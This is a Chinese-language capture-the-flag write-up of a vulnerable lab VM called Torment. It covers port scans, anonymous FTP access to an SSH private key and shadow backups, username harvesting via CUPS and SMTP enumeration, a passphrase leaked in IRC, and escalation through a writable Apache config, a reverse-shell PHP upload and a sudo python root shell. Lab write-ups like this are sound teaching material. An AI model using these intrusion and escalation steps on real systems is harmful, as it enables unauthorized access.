# 靶场搭建

下载下来后直接导入就行

IP: 192.168.1.134

# 渗透过程

# 信息初收集

21/tcp    open  ftp
22/tcp    open  ssh
25/tcp    open  smtp
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
143/tcp   open  imap
445/tcp   open  microsoft-ds
631/tcp   open  ipp
2049/tcp  open  nfs
6667/tcp  open  irc
6668/tcp  open  irc
6669/tcp  open  irc
6672/tcp  open  vision_server
6674/tcp  open  unknown
34241/tcp open  unknown
37697/tcp open  unknown
40271/tcp open  unknown
43443/tcp open  unknown
21/tcp    open  ftp         vsftpd 2.0.8 or later
22/tcp    open  ssh         OpenSSH 7.4p1 Debian 10+deb9u4 (protocol 2.0)
25/tcp    open  smtp        Postfix smtpd
80/tcp    open  http        Apache httpd 2.4.25
111/tcp   open  rpcbind     2-4 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp   open  imap        Dovecot imapd
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
631/tcp   open  ipp         CUPS 2.2
2049/tcp  open  nfs         3-4 (RPC #100003)
6667/tcp  open  irc         ngircd
6668/tcp  open  irc         ngircd
6669/tcp  open  irc         ngircd
6672/tcp  open  irc         ngircd
6674/tcp  open  irc         ngircd
34241/tcp open  nlockmgr    1-4 (RPC #100021)
37697/tcp open  mountd      1-3 (RPC #100005)
40271/tcp open  mountd      1-3 (RPC #100005)
43443/tcp open  mountd      1-3 (RPC #100005)
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
[06:57:38] 301 -  306B  - /manual  ->  http://192.168.1.134/manual/         
[06:57:38] 200 -  201B  - /manual/index.html
[06:57:57] 200 -   61B  - /secret  

ftp 允许匿名用户访问

┌──(root㉿kali)-[~/Desktop]
└─# ftp [email protected]            
Connected to 192.168.1.134.
220 vsftpd (broken)
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -al
229 Entering Extended Passive Mode (|||48166|)
150 Here comes the directory listing.
drwxr-xr-x   11 ftp      ftp          4096 May 03 18:56 .
drwxr-xr-x   11 ftp      ftp          4096 May 03 18:56 ..
drwxr-xr-x    2 ftp      ftp          4096 Dec 31  2018 .cups
drwxr-xr-x    2 ftp      ftp          4096 Dec 31  2018 .ftp
drwxr-xr-x    2 ftp      ftp          4096 Dec 31  2018 .imap
drwxr-xr-x    2 ftp      ftp          4096 Dec 31  2018 .mysql
drwxr-xr-x    2 ftp      ftp          4096 Dec 31  2018 .nfs
drwxr-xr-x    2 ftp      ftp          4096 Jan 04  2019 .ngircd
drwxr-xr-x    2 ftp      ftp          4096 Dec 31  2018 .samba
drwxr-xr-x    2 ftp      ftp          4096 Dec 31  2018 .smtp
drwxr-xr-x    2 ftp      ftp          4096 Jan 04  2019 .ssh
-rw-r--r--    1 ftp      ftp        112640 Dec 28  2018 alternatives.tar.0
-rw-r--r--    1 ftp      ftp          4984 Dec 23  2018 alternatives.tar.1.gz
-rw-r--r--    1 ftp      ftp         95760 Dec 28  2018 apt.extended_states.0
-rw-r--r--    1 ftp      ftp         10513 Dec 27  2018 apt.extended_states.1.gz
-rw-r--r--    1 ftp      ftp         10437 Dec 26  2018 apt.extended_states.2.gz
-rw-r--r--    1 ftp      ftp           559 Dec 23  2018 dpkg.diversions.0
-rw-r--r--    1 ftp      ftp           229 Dec 23  2018 dpkg.diversions.1.gz
-rw-r--r--    1 ftp      ftp           229 Dec 23  2018 dpkg.diversions.2.gz
-rw-r--r--    1 ftp      ftp           229 Dec 23  2018 dpkg.diversions.3.gz
-rw-r--r--    1 ftp      ftp           229 Dec 23  2018 dpkg.diversions.4.gz
-rw-r--r--    1 ftp      ftp           229 Dec 23  2018 dpkg.diversions.5.gz
-rw-r--r--    1 ftp      ftp           229 Dec 23  2018 dpkg.diversions.6.gz
-rw-r--r--    1 ftp      ftp           505 Dec 28  2018 dpkg.statoverride.0
-rw-r--r--    1 ftp      ftp           295 Dec 28  2018 dpkg.statoverride.1.gz
-rw-r--r--    1 ftp      ftp           295 Dec 28  2018 dpkg.statoverride.2.gz
-rw-r--r--    1 ftp      ftp           295 Dec 28  2018 dpkg.statoverride.3.gz
-rw-r--r--    1 ftp      ftp           295 Dec 28  2018 dpkg.statoverride.4.gz
-rw-r--r--    1 ftp      ftp           281 Dec 27  2018 dpkg.statoverride.5.gz
-rw-r--r--    1 ftp      ftp           208 Dec 23  2018 dpkg.statoverride.6.gz
-rw-r--r--    1 ftp      ftp       1719127 Jan 01  2019 dpkg.status.0
-rw-r--r--    1 ftp      ftp        493252 Jan 01  2019 dpkg.status.1.gz
-rw-r--r--    1 ftp      ftp        493252 Jan 01  2019 dpkg.status.2.gz
-rw-r--r--    1 ftp      ftp        492279 Dec 28  2018 dpkg.status.3.gz
-rw-r--r--    1 ftp      ftp        492279 Dec 28  2018 dpkg.status.4.gz
-rw-r--r--    1 ftp      ftp        489389 Dec 28  2018 dpkg.status.5.gz
-rw-r--r--    1 ftp      ftp        470278 Dec 27  2018 dpkg.status.6.gz
-rw-------    1 ftp      ftp          1010 Dec 31  2018 group.bak
-rw-------    1 ftp      ftp           840 Dec 31  2018 gshadow.bak
-rw-------    1 ftp      ftp          2485 Dec 31  2018 passwd.bak
-rw-------    1 ftp      ftp          1575 Dec 31  2018 shadow.bak
226 Directory send OK.

.ssh 下的那个私钥可能比较有价值,下载下来康康

┌──(root㉿kali)-[~/Desktop/test]
└─# wget ftp://192.168.1.134/.ssh/id_rsa

但是不知道用户名是什么,继续收集

631 端口第一次见,是打印服务的通信协议,通过浏览器访问能够看到打印机的信息,通过打印机的名字得到用户名。搞个脚本提取一下。

使用新学的流编辑方法提取用户名: curl -s http://192.168.1.134:631/printers/ | grep Personal | cut -d/ -f3 | cut -d '&' -f1 > username

通过 25 端口的的邮件服务器判断下哪个账号存在

msf6 auxiliary(scanner/smtp/smtp_enum) > show options 

Module options (auxiliary/scanner/smtp/smtp_enum):

   Name       Current Setting         Required  Description
   ----       ---------------         --------  -----------
   RHOSTS     192.168.1.134           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasplo
                                                it/basics/using-metasploit.html
   RPORT      25                      yes       The target port (TCP)
   THREADS    1                       yes       The number of concurrent threads (max one per host)
   UNIXONLY   true                    yes       Skip Microsoft bannered servers when testing unix users
   USER_FILE  /root/Desktop/username  yes       The file that contains a list of probable users accounts.


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/smtp/smtp_enum) > run

[*] 192.168.1.134:25      - 192.168.1.134:25 Banner: 220 TORMENT.localdomain ESMTP Postfix (Debian/GNU)
[+] 192.168.1.134:25      - 192.168.1.134:25 Users found: Patrick, Qiu
[*] 192.168.1.134:25      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Patrick , Qiu 两个账号存在,但是尝试使用私钥登陆的时候发现还需要 passphrase,所以还需要进一步收集信息。

重新翻了 ftp 的文件,发现 .ngircd 文件夹下有一些信息

channels:
games
tormentedprinter

是聊天室,使用 IRC 的客户端连接至服务器上查看信息


IRC(Internet Relay Chat)是一种实时的多用户聊天系统,许多软件和客户端都兼容 IRC 协议。一些常见的 IRC 客户端包括:

  1. mIRC: 运行在 Windows 平台上的流行 IRC 客户端,拥有丰富的功能和用户友好的界面。

  2. HexChat: 一款开源的 IRC 客户端,可在 Windows 和 Linux 平台上运行,它是 XChat 的一个分支。

  3. XChat: 一款开源的 IRC 客户端,最初是为 Unix-like 系统设计的,后来也移植到了 Windows 上。

  4. Irssi: 一个文本模式的 IRC 客户端,通常在 Unix-like 系统上使用,它以其稳定性和可扩展性而闻名。

  5. WeeChat: 另一个文本模式的 IRC 客户端,与 Irssi 类似,也是在 Unix-like 系统上广泛使用的。

  6. ChatZilla: 一个基于 Mozilla 平台的 IRC 客户端插件,可以作为 Firefox 或 SeaMonkey 的扩展使用。

总的来说,有许多 IRC 客户端可供选择,用户可以根据自己的需求和偏好来选择合适的客户端。


我这边用 2,先按装上软件

添加网络,设置服务的端口,然后使用默认密码 wealllikedebian 进行连接

alt text

加入 tormentedprinter 频道

alt text

拿到密码 mostmachineshaveasupersecurekeyandalongpassphrase

alt text

然后可以 ssh 登录 patrick 账号了

# 提权

查看 sudo 权限

patrick@TORMENT:~$ sudo -l
Matching Defaults entries for patrick on TORMENT:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User patrick may run the following commands on TORMENT:
    (ALL) NOPASSWD: /bin/systemctl poweroff, /bin/systemctl halt, /bin/systemctl reboot

有关机和重启权限,没什么用

查一下 777 权限文件

patrick@TORMENT:~$ find / -type f -perm 777 2>/dev/null
/etc/apache2/apache2.conf
/var/www/html/index.html

看到了 apache 的配置文件能进行读写

将用户 qiu 添加到 apache 的执行用户当中,这样反弹 shell 的时候可能由 qiu 进行执行,然后拿到这个账户的 shell。

配置成一下内容(添加 qiu 进去)

# These need to be set in /etc/apache2/envvars
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}
User qiu

上传一个 shell.php 到 /var/www/html/ 下,等反弹 shell

然后使用 sudo 权限重启: sudo systemctl reboot

重启好以后,监听,触发 shell.php 就能拿到 qiu 用户权限的终端。

查看一下 sudo 权限

$ id
uid=1000(qiu) gid=33(www-data) groups=33(www-data),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),113(bluetooth),114(lpadmin),118(scanner)
$ sudo -l
Matching Defaults entries for qiu on TORMENT:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User qiu may run the following commands on TORMENT:
    (ALL) NOPASSWD: /usr/bin/python, /bin/systemctl

发现有 python 的 sudo 权限,那就直接提权!

$ sudo python -c 'import pty;pty.spawn("/bin/bash")'
root@TORMENT:/# whoami
whoami
root

拿到了 root 权限

# 小结

没有漏洞利用过程,直接收集信息进来的,认识了一个 IRC 聊天服务器。但是感觉实战应该也遇不上 ==、